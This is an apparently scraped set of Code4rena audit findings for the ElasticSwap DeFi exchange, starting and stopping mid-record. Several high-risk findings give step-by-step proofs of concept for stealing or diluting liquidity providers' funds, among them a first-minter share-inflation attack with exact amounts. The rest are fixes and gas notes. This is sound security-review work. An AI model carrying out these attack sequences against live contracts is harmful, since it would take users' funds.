https://github.com/Rari-Capital/solmate/blob/dd13c61b5f9cb5c539a7e356ba94a6c2979e9eb9/src/utils/FixedPointMathLib.sol#L150-L205 "}, {"title": "[WP-H2] Transferring `quoteToken` to the exchange pool contract will cause future liquidity providers to lose funds", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/146", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, the amount of LP tokens to be minted when `addLiquidity()` is calculated based on the ratio between the amount of newly added `quoteToken` and the current wallet balance of `quoteToken` in the `Exchange` contract. However, since anyone can transfer `quoteToken` to the contract, and make the balance of `quoteToken` to be larger than `_internalBalances.quoteTokenReserveQty`, existing liquidity providers can take advantage of this by donating `quoteToken` and make future liquidity providers receive fewer LP tokens than expected and lose funds. https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L578-L582 ```solidity liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry( _totalSupplyOfLiquidityTokens, quoteTokenQty, _quoteTokenReserveQty // IERC20(quoteToken).balanceOf(address(this)) ); ``` ### PoC Given: - The `Exchange` pool is new; 1. Alice `addLiquidity()` with `1e18 baseToken` and `1e18 quoteToken`, recived `1e18` LP token; 2. Alice transfer `99e18 quoteToken` to the `Exchange` pool contract; 3. Bob `addLiquidity()` with `1e18 baseToken` and `1e18 quoteToken`; 3. Bob `removeLiquidity()` with all the LP token in balance. **Expected Results**: Bob recived `1e18 baseToken` and >= `1e18 quoteToken`. **Actual Results**: Bob recived ~`0.02e18 baseToken` and ~`1e18 quoteToken`. Alice can now `removeLiquidity()` and recive ~`1.98e18 baseToken` and ~`100e18 quoteToken`. As a result, Bob suffers a fund loss of `0.98e18 baseToken`. ### Recommendation Change to: ```solidity liquidityTokenQty = calculateLiquidityTokenQtyForDoubleAssetEntry( _totalSupplyOfLiquidityTokens, quoteTokenQty, _internalBalances.quoteTokenReserveQty ); ``` "}, {"title": "[WP-H1] The value of LP token can be manipulated by the first minister, which allows the attacker to dilute future liquidity providers' shares", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/145", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details For the first minter of an Exchange pool, the ratio of `X/Y` and the `totalSupply` of the LP token can be manipulated. A sophisticated attacker can mint and burn all of the LP tokens but `1 Wei`, and then artificially create a situation of rebasing up by transferring baseToken to the pool contract. Then `addLiquidity()` in `singleAssetEntry` mode. Due to the special design of `singleAssetEntry` mode, the value of LP token can be inflated very quickly. As a result, `1 Wei` of LP token can be worthing a significate amount of baseToken and quoteToken. Combine this with the precision loss when calculating the amount of LP tokens to be minted to the new liquidity provider, the attacker can turn the pool into a trap which will take a certain amount of cut for all future liquidity providers by minting fewer LP tokens to them. https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L493-L512 ```solidity } else { // this user will set the initial pricing curve require( _baseTokenQtyDesired > 0, \"MathLib: INSUFFICIENT_BASE_QTY_DESIRED\" ); require( _quoteTokenQtyDesired > 0, \"MathLib: INSUFFICIENT_QUOTE_QTY_DESIRED\" ); tokenQtys.baseTokenQty = _baseTokenQtyDesired; tokenQtys.quoteTokenQty = _quoteTokenQtyDesired; tokenQtys.liquidityTokenQty = sqrt( _baseTokenQtyDesired * _quoteTokenQtyDesired ); _internalBalances.baseTokenReserveQty += tokenQtys.baseTokenQty; _internalBalances.quoteTokenReserveQty += tokenQtys.quoteTokenQty; } ``` https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L204-L212 ```solidity function calculateLiquidityTokenQtyForDoubleAssetEntry( uint256 _totalSupplyOfLiquidityTokens, uint256 _quoteTokenQty, uint256 _quoteTokenReserveBalance ) public pure returns (uint256 liquidityTokenQty) { liquidityTokenQty = (_quoteTokenQty * _totalSupplyOfLiquidityTokens) / _quoteTokenReserveBalance; } ``` ### PoC Given: - The `Pool` is newly created; - The market price of `baseToken` in terms of `quoteToken` is `1`. The attacker can do the following steps in one tx: 1. `addLiquidity()` with `2 Wei of baseToken` and `100e18 quoteToken`, received `14142135623` LP tokens; 2. `removeLiquidity()` with `14142135622` LP tokens, the Pool state becomes: - totalSupply of LP tokens: 1 Wei - baseTokenReserveQty: 1 Wei - quoteTokenReserveQty: 7071067813 Wei 3. `baseToken.transfer()` 7071067812 Wei to the Pool contract; 4. `addLiquidity()` with no baseToken and `50e18 quoteToken`; 5. `swapBaseTokenForQuoteToken()` with `600000000000000 baseToken`, the Pool state becomes: - totalSupply of LP tokens: 1 Wei - quoteTokenReserveQty 591021750159032 - baseTokenReserveQty 600007071067801 6. `baseToken.transfer()` 999399992928932200 Wei to the Pool contract; 7. `addLiquidity()` with no baseToken and `1e18 quoteToken`, the Pool state becomes: - totalSupply of LP tokens: 1 Wei - quoteTokenReserveQty: 1000000000000000013 - quoteTokenReserveQty: 985024641638342212 - baseTokenDecay: 0 From now on, `addLiquidity()` with less than `1e18` of `baseToken` and `quoteToken` will receive `0` LP token due to precision loss. The amounts can be manipulated to higher numbers and cause most future liquidity providers to receive fewer LP tokens than expected, and the attacker will be able to profit from it as the attacker will take a larger share of the pool than expected. ### Recommendation Consider requiring a certain amount of minimal LP token amount (eg, 1e8) for the first minter and lock some of the first minter's LP tokens by minting ~1% of the initial amount to the factory address. "}, {"title": "[WP-H0] In the case of Single Asset Entry, new liquidity providers will suffer fund loss due to wrong formula of \u0394Ro", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/144", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle WatchPug # Vulnerability details ### Current Implementation #### When `baseToken` rebase up Per the document: https://github.com/ElasticSwap/elasticswap/blob/a90bb67e2817d892b517da6c1ba6fae5303e9867/ElasticSwapMath.md#:~:text=When%20there%20is%20alphaDecay and related code: https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L227-L283 `Gamma` is the ratio of shares received by the new liquidity provider when `addLiquidity()` (\u0394Ro) to the new totalSupply (total shares = Ro' = Ro + \u0394Ro). ``` \u0394Ro = (Ro/(1 - \u03b3)) * \u03b3 Ro * Gamma = -------------- 1 - Gamma \u27fa \u0394Ro * ( 1 - Gamma ) = Gamma * Ro \u0394Ro - Gamma * \u0394Ro = Gamma * Ro \u0394Ro = Gamma * Ro + Gamma * \u0394Ro \u0394Ro Gamma = --------- Ro + \u0394Ro ``` In the current implementation: ``` \u03b3 = \u0394Y / Y' / 2 * ( \u0394X / \u03b1^ ) ``` \u0394Y is the `quoteToken` added by the new liquidity provider. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L277 Y' is the new Y after `addLiquidity()`, `Y' = Y + \u0394Y`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L272 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L278 \u0394X is `\u0394Y * Omega`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L259-L263 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L279 \u03b1^ is `Alpha - X`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L234-L235 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L280 For instance: Given: - Original State: X = Alpha = 1, Y = Beta = 1, Omega = X/Y = 1 - When `baseToken` rebase up: Alpha becomes 10 - Current State: Alpha = 10, X = 1, Y = Beta = 1, Omega = 1 When: new liquidity provider `addLiquidity()` with 4 quoteToken: ``` 4 4 * Omega 16 Gamma = ------------ * ------------ = ---- (1+4) * 2 10 - 1 90 ``` After `addLiquidity()`: - baseToken belongs to the newLP: 10 * 16 / 90 = 160 / 90 = 1.7777777777777777 - quoteToken belongs to the newLP: (1+4) * 16 / 90 = 80 / 90 = 0.8888888888888888 - In the terms of `quoteToken`, the total value is: 160 / 90 / Omega + 80 / 90 = 240 / 90 = 2.6666666666666665 As a result, the new liquidity provider suffers a fund loss of `4 - 240 / 90 = 1.3333333333333333 in the terms of quoteToken` The case above can be reproduced by changing the numbers in [this test unit](https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/test/exchangeTest.js#L1804). #### When `baseToken` rebase down Per the document: https://github.com/ElasticSwap/elasticswap/blob/a90bb67e2817d892b517da6c1ba6fae5303e9867/ElasticSwapMath.md#:~:text=When%20there%20is%20betaDecay and related code: https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L297-L363 `Gamma` is the ratio of shares received by the new liquidity provider when `addLiquidity()` (\u0394Ro) to the new totalSupply (total shares = Ro' = Ro + \u0394Ro). ``` \u0394Ro = (Ro/(1 - \u03b3)) * \u03b3 Ro * Gamma = -------------- 1 - Gamma \u27fa \u0394Ro * ( 1 - Gamma ) = Gamma * Ro \u0394Ro - Gamma * \u0394Ro = Gamma * Ro \u0394Ro = Gamma * Ro + Gamma * \u0394Ro \u0394Ro Gamma = --------- Ro + \u0394Ro ``` In the current implementation: ``` \u03b3 = \u0394X / X / 2 * ( \u0394XByQuoteTokenAmount / \u03b2^ ) ``` \u0394X is the amount of `baseToken` added by the new liquidity provider. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L357 X is the balanceOf `baseToken`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L358 \u0394XByQuoteTokenAmount is \u0394X / Omega, the value of \u0394X in the terms of `quoteToken`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L318-L322 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L329-L333 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L359 \u03b2^ is max\u0394X / Omega, the value of max\u0394X in the terms of `quoteToken`. `max\u0394X = X - Alpha`. See: - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L304-L305 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L318-L322 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L341-L342 - https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/src/libraries/MathLib.sol#L360 For instance: Given: - Original State: X = Alpha = 10, Y = Beta = 10, Omega = X/Y = 1 - When `baseToken` rebase down, Alpha becomes 1 - Current State: Alpha = 1, X = 10, Y = Beta = 10, Omega = 1 When: new liquidity provider `addLiquidity()` with `4 baseToken` ``` 4 4 / Omega 8 Gamma = -------- * ---------------- = ---- 10 * 2 (10-1) / Omega 90 ``` After `addLiquidity()`: - baseToken belongs to the newLP: (1 + 4) * 8 / 90 = 40 / 90 = 0.4444444444444444 - quoteToken belongs to the newLP: 10 * 8 / 90 = 80 / 90 = 0.8888888888888888 - In the terms of quoteToken, the total value is: 40 / 90 + 80 / 90 * Omega = 120 / 90 = 1.3333333333333333 < 4 As a result, the new liquidity provider suffers a fund loss of `4 - 120 / 90 = 2.6666666666666665 in the terms of quoteToken` The case above can be reproduced by changing the numbers in [this test unit](https://github.com/code-423n4/2022-01-elasticswap/blob/d107a198c0d10fbe254d69ffe5be3e40894ff078/elasticswap/test/exchangeTest.js#L2146). ### The correct formula for \u0394Ro #### When baseToken rebase up ```md When: new liquidity provider addLiquidity with \u0394Y quoteToken (\u0394Y <= max\u0394Y or \u0394Y <= \u03b1^ / \u03c9) After addLiquidity(): - baseToken belongs to the newLP: \u0394XOfNewLP - quoteToken belongs to the newLP: \u0394YOfNewLP \u0394Y can be divided into 2 parts: - \u0394YToX: the part used for swap \u0394XOfNewLP. \u0394XOfNewLP = \u0394YToX * Omega (a1) - \u0394Y - \u0394YToX: the rest as \u0394YOfNewLP The ratio of newly minted LP tokens for new liquidity provider to the new totalSupply (Ro'): Gamma \u0394Ro \u0394Y - \u0394YToX \u0394XOfNewLP = --------- = ----------- = ----------- (a2) Ro + \u0394Ro Y + \u0394Y Alpha \u0394Y - \u0394YToX \u0394YToX * Omega = ----------- = --------------- // substituting (a1) (a_exp1) Y + \u0394Y Alpha \u27fa (\u0394Y - \u0394YToX) * Alpha = \u0394YToX * Omega * (Y + \u0394Y) \u0394Y * Alpha - \u0394YToX * Alpha = \u0394YToX * Omega * (Y + \u0394Y) \u0394Y * Alpha = \u0394YToX * Alpha + \u0394YToX * Omega * (Y + \u0394Y) = \u0394YToX * ( Alpha + Omega * (Y + \u0394Y)) \u0394Y * Alpha \u0394Y * Alpha \u0394YToX = --------------------------- = -------------------- (a_r1) Alpha + Omega * (Y + \u0394Y) Alpha + Omega * Y' Continue from (a_exp1): \u0394YToX * Omega Gamma = --------------- Alpha \u0394Y * Omega = ----------------------- // substituting (a_r1) (a_r2(1)) Alpha + Omega * Y' \u0394Y = --------------------- (a_r2(2)) Alpha/Omega + Y' Gamma is the ratio of \u0394Y to the total amounts of baseToken and quoteToken after addLiquidity: - (a_r2(1)) is the formula in the terms of baseToken - (a_r2(2)) is the formula in the terms of quoteToken Based on (a2): \u0394Ro Gamma = --------- Ro + \u0394Ro \u27fa \u0394Ro = Gamma * Ro + Gamma * \u0394Ro \u0394Ro - Gamma * \u0394Ro = Gamma * Ro \u0394Ro * ( 1 - Gamma ) = Gamma * Ro Ro * Gamma \u0394Ro = -------------- 1 - Gamma ``` #### When baseToken rebase down ```md When: new liquidity provider addLiquidity with \u0394X baseToken (\u0394X <= max\u0394X or \u0394Y <= \u03b1^) After addLiquidity() - baseToken belongs to the newLP: \u0394XOfNewLP - quoteToken belongs to the newLP: \u0394YOfNewLP \u0394X can be divided into 2 parts: - \u0394XToY: the part used for swap \u0394YOfNewLP. \u0394YOfNewLP = \u0394XToY / Omega (b1) - \u0394X - \u0394XToY: the rest as \u0394XOfNewLP The ratio of newly minted LP tokens for new liquidity provider to the new totalSupply (Ro'): Gamma \u0394Ro \u0394X - \u0394XToY \u0394YOfNewLP = --------- = ------------ = ------------ (b2) Ro + \u0394Ro Alpha + \u0394X Y \u0394XToY / Omega = ------------- // substituting (b1) Y \u0394XToY = ------------- (b_exp1) Y * Omega \u27fa (\u0394X - \u0394XToY) * Y = (Alpha + \u0394X) * \u0394XToY / Omega \u0394X * Y - \u0394XToY * Y = (Alpha + \u0394X) * \u0394XToY / Omega \u0394X * Y = \u0394XToY * Y + (Alpha + \u0394X) * \u0394XToY / Omega = \u0394XToY * ( Y + (Alpha + \u0394X) / Omega ) \u0394X * Y \u0394XToY = -------------------------- (b_r1) Y + (Alpha + \u0394X) / Omega Continue from (b_exp1) \u0394XToY Gamma = ------------- Y * Omega \u0394X * Y = ---------------------------------------- // substituting (b_r1) (Y + (Alpha + \u0394X) / Omega) * Y * Omega \u0394X / Omega = --------------------------- (b_r2(2)) Y + (Alpha + \u0394X) / Omega \u0394X = --------------------------- (b_r2(1)) Y * Omega + (Alpha + \u0394X) \u0394X = ------------------- // substituting (Omega = X/Y) X + (Alpha + \u0394X) Gamma is the ratio of \u0394X to the total amounts of baseToken and quoteToken after addLiquidity: - (b_r2(1)) is the formula in the terms of baseToken - (b_r2(2)) is the formula in the terms of quoteToken Based on (b2): \u0394Ro Gamma = --------- Ro + \u0394Ro \u27fa Ro * Gamma \u0394Ro = -------------- 1 - Gamma ``` ### Recommendation Update code and document using the correct formula for \u0394Ro. "}, {"title": "Making the MathLib internal", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/141", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle UncleGrandpa925 # Vulnerability details ## Impact Saving gas-cost for all transactions interacting with the pools. Currently the bytecode size of the Exchange is 10.99KB. Making the entire MathLib internal (therefore embedding it into the Exchange) will only make the bytecode size grows to 14.45KB, which is well below the limit of 24576 bytes. Doing this will save at least 2300 gas for every transaction since that the cost for cold-load the bytecode of the library, and also saving the gas cost of doing delegate call to the library instead of doing internal call. ## Recommended Mitigation Steps Converting all public properties in the MathLib to internal. ## Note Normally I'm not into farming gas-optimization issues, but I think this is worth doing. "}, {"title": "Leftover tokens will be stuck in the contract with no ways to recover", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/136", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "Leftover tokens will be stuck in the contract with no ways to recover"}, {"title": "10 ** 18 can be changed to 1e18 ", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/134", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-elasticswap-findings", "body": "10 ** 18 can be changed to 1e18 "}, {"title": "Exchange.sol is not Pausable", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/124", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Exchange.sol is not Pausable"}, {"title": "Fee-on-transfer check can be avoided", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/119", "labels": ["bug", "duplicate", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-elasticswap-findings", "body": "Fee-on-transfer check can be avoided"}, {"title": "Comment missing function parameter", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/114", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle sirhashalot # Vulnerability details ## Impact The Cvx3CrvOracle.sol contract has functions that take the baseAmount input parameter but fail to mention or describe this parameter in the function's natspec comments. Issues with comments are low risk based on [Code4rena risk categories](https://docs.code4rena.com/roles/wardens/judging-criteria#estimating-risk-tl-dr). ## Proof of Concept The functions missing the baseAmount input parameter in comments include: - [peek()](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/Cvx3CrvOracle.sol#L59-L66) - [get()](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/Cvx3CrvOracle.sol#L81-L88) - [_peek()](https://github.com/code-423n4/2022-01-yield/blob/e946f40239b33812e54fafc700eb2298df1a2579/contracts/Cvx3CrvOracle.sol#L102-L109) ## Recommended Mitigation Steps Make sure natspec comments include all function input parameters. "}, {"title": "Base token properties not verified", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/111", "labels": ["bug", "duplicate", "0 (Non-critical)", "disagree with severity"], "target": "2022-01-elasticswap-findings", "body": "Base token properties not verified"}, {"title": "Users can grief name and symbol for a market, DAO unable to change", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/110", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle camden # Vulnerability details ## Impact https://github.com/ElasticSwap/elasticswap/blob/a90bb67e2817d892b517da6c1ba6fae5303e9867/src/contracts/ExchangeFactory.sol#L38 A user could create an exchange with a name and symbol that is misleading or allows phishing into an exchange created with an unexpected token. ## Recommended Mitigation Steps Allow the ExchangeFactory to change the name and symbol of an exchange. "}, {"title": "Math base functions can be made internal", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/107", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Math base functions can be made internal"}, {"title": "Shift Right instead of Dividing by 2", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/100", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Shift Right instead of Dividing by 2"}, {"title": "`removeLiquidity.sol#baseTokenQtyToRemoveFromInternalAccounting` should not be cached", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle 0x0x0x # Vulnerability details `removeLiquidity.sol#baseTokenQtyToRemoveFromInternalAccounting` is used only once and caching it does cost extra gas. So ``` uint256 baseTokenQtyToRemoveFromInternalAccounting = (_liquidityTokenQty * internalBalances.baseTokenReserveQty) / totalSupplyOfLiquidityTokens; internalBalances .baseTokenReserveQty -= baseTokenQtyToRemoveFromInternalAccounting; ``` can be replaced with ``` internalBalances.baseTokenReserveQty -= (_liquidityTokenQty * internalBalances.baseTokenReserveQty) / totalSupplyOfLiquidityTokens; ``` "}, {"title": "Description of `_expirationTimestamp` is not exact", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/93", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-elasticswap-findings", "body": "Description of `_expirationTimestamp` is not exact"}, {"title": "removeLiquidity() _tokenRecipient Lack of Zero Address Check May Cause User Lose Fund Permanently", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/87", "labels": ["bug", "1 (Low Risk)", "disagree with severity"], "target": "2022-01-elasticswap-findings", "body": "removeLiquidity() _tokenRecipient Lack of Zero Address Check May Cause User Lose Fund Permanently"}, {"title": "createNewExchange() Possible to Add Elastic Token as Quote Token Due to No Validation", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/84", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "createNewExchange() Possible to Add Elastic Token as Quote Token Due to No Validation"}, {"title": "`ExchangeFactory.sol`'s `transferOwnership` should be a two-step process", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/81", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "`ExchangeFactory.sol`'s `transferOwnership` should be a two-step process"}, {"title": "using modifier instead of function can save gas", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/77", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "using modifier instead of function can save gas"}, {"title": "Gas in `MathLib.sol:calculateQuoteTokenQty()`: SLOADs minimization", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-elasticswap-findings", "body": "Gas in `MathLib.sol:calculateQuoteTokenQty()`: SLOADs minimization"}, {"title": "`internalBalance` state variable is read and written multiple times within a single transaction", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/55", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle Ruhum # Vulnerability details ## Impact The `internalBalances` state variable is used extensively throughout the `Exchange` contract. Reading and writing to storage is expensive. Instead of working the state variable directly, the functions should work with a cached memory variable. The final value should then be saved to storage. ## Proof of Concept There are too many places where this is happening. Most prominently in the `MathLib` library, where the state variable is passed around as a function parameter. Working with a cached version will be way cheaper. ## Tools Used ## Recommended Mitigation Steps Replace the storage variable with a cached memory variable. The library has to be refactored to return the modified values so they can be written back to storage. "}, {"title": "Gas in `MathLib.sol:calculateQtyToReturnAfterFees()`: Avoid expensive calculation by checking if `_tokenASwapQty == 0 || _tokenBReserveQty == 0`", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Saving the gas cost from the calculation ## Proof of Concept See the `@audit-info` tags: ``` File: MathLib.sol 141: function calculateQtyToReturnAfterFees( 142: uint256 _tokenASwapQty, 143: uint256 _tokenAReserveQty, 144: uint256 _tokenBReserveQty, 145: uint256 _liquidityFeeInBasisPoints 146: ) public pure returns (uint256 qtyToReturn) { 147: uint256 tokenASwapQtyLessFee = //@audit-info == 0 if _tokenASwapQty == 0 148: _tokenASwapQty * (BASIS_POINTS - _liquidityFeeInBasisPoints); 149: qtyToReturn = 150: (tokenASwapQtyLessFee * _tokenBReserveQty) / //@audit-info 0 is possible if _tokenBReserveQty == 0 or above is equal to 0 151: ((_tokenAReserveQty * BASIS_POINTS) + tokenASwapQtyLessFee); 152: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Return 0 if `_tokenASwapQty == 0 || _tokenBReserveQty == 0` or the `&&` equivalent. Here's an example: ``` File: MathLib.sol 141: function calculateQtyToReturnAfterFees( 142: uint256 _tokenASwapQty, 143: uint256 _tokenAReserveQty, 144: uint256 _tokenBReserveQty, 145: uint256 _liquidityFeeInBasisPoints 146: ) public pure returns (uint256 qtyToReturn) { 147: if(_tokenASwapQty != 0 && _tokenBReserveQty != 0){ 148: uint256 tokenASwapQtyLessFee = _tokenASwapQty * 149: (BASIS_POINTS - _liquidityFeeInBasisPoints); 150: qtyToReturn = (tokenASwapQtyLessFee * _tokenBReserveQty) / 151: ((_tokenAReserveQty * BASIS_POINTS) + tokenASwapQtyLessFee); 152: } 153: } ``` (here `qtyToReturn` if set to 0 by default so the value returned would be 0) "}, {"title": "Gas: Mark `ExchangeFactory.sol:setFeeAddress()` as payable", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-elasticswap-findings", "body": "Gas: Mark `ExchangeFactory.sol:setFeeAddress()` as payable"}, {"title": "Gas: `MathLib.sol` is importing `Exchange.sol`", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/35", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2022-01-elasticswap-findings", "body": "Gas: `MathLib.sol` is importing `Exchange.sol`"}, {"title": "Gas: Reorder require statements `MathLib.sol:calculateAddLiquidityQuantities()` to save gas on revert", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Some of the require statements can be placed earlier to reduce gas usage on revert. ## Proof of Concept The following can be reordered to save gas on revert: ``` File: MathLib.sol 464: tokenQtys.baseTokenQty += baseTokenQtyFromDecay; 465: tokenQtys.quoteTokenQty += quoteTokenQtyFromDecay; 466: tokenQtys.liquidityTokenQty += liquidityTokenQtyFromDecay; 467: 468: require( 469: tokenQtys.baseTokenQty >= _baseTokenQtyMin, 470: \"MathLib: INSUFFICIENT_BASE_QTY\" 471: ); 472: 473: require( 474: tokenQtys.quoteTokenQty >= _quoteTokenQtyMin, 475: \"MathLib: INSUFFICIENT_QUOTE_QTY\" 476: ); ``` to ``` File: MathLib.sol 464: tokenQtys.baseTokenQty += baseTokenQtyFromDecay; 465: 466: require( 467: tokenQtys.baseTokenQty >= _baseTokenQtyMin, 468: \"MathLib: INSUFFICIENT_BASE_QTY\" 469: ); 470: 471: tokenQtys.quoteTokenQty += quoteTokenQtyFromDecay; 472: 473: require( 474: tokenQtys.quoteTokenQty >= _quoteTokenQtyMin, 475: \"MathLib: INSUFFICIENT_QUOTE_QTY\" 476: ); 477: 478: tokenQtys.liquidityTokenQty += liquidityTokenQtyFromDecay; ``` ## Tools Used VS Code ## Recommended Mitigation Steps Relocate the said require statements "}, {"title": "Gas: Reorder require statements `Exchange.sol:removeLiquidity()` to save gas on revert", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-elasticswap-findings", "body": "Gas: Reorder require statements `Exchange.sol:removeLiquidity()` to save gas on revert"}, {"title": "Gas: Conditional flow optimization in `Exchange.sol:removeLiquidity()`", "html_url": "https://github.com/code-423n4/2022-01-elasticswap-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-elasticswap-findings", "body": "# Handle Dravee # Vulnerability details ## Impact It's possible to save gas by optimizing conditional flows to avoid some unnecessary opcodes ## Proof of Concept In `Exchange.sol:removeLiquidity()`, the code is as follows: ``` File: Exchange.sol 225: if (quoteTokenQtyToReturn > internalBalances.quoteTokenReserveQty) { 226: internalBalances.quoteTokenReserveQty = 0; 227: } else { 228: internalBalances.quoteTokenReserveQty -= quoteTokenQtyToReturn; 229: } ``` However, this can be optimized : - Strict inequalities (`>`) are more expensive than non-strict ones (`>=`). This is 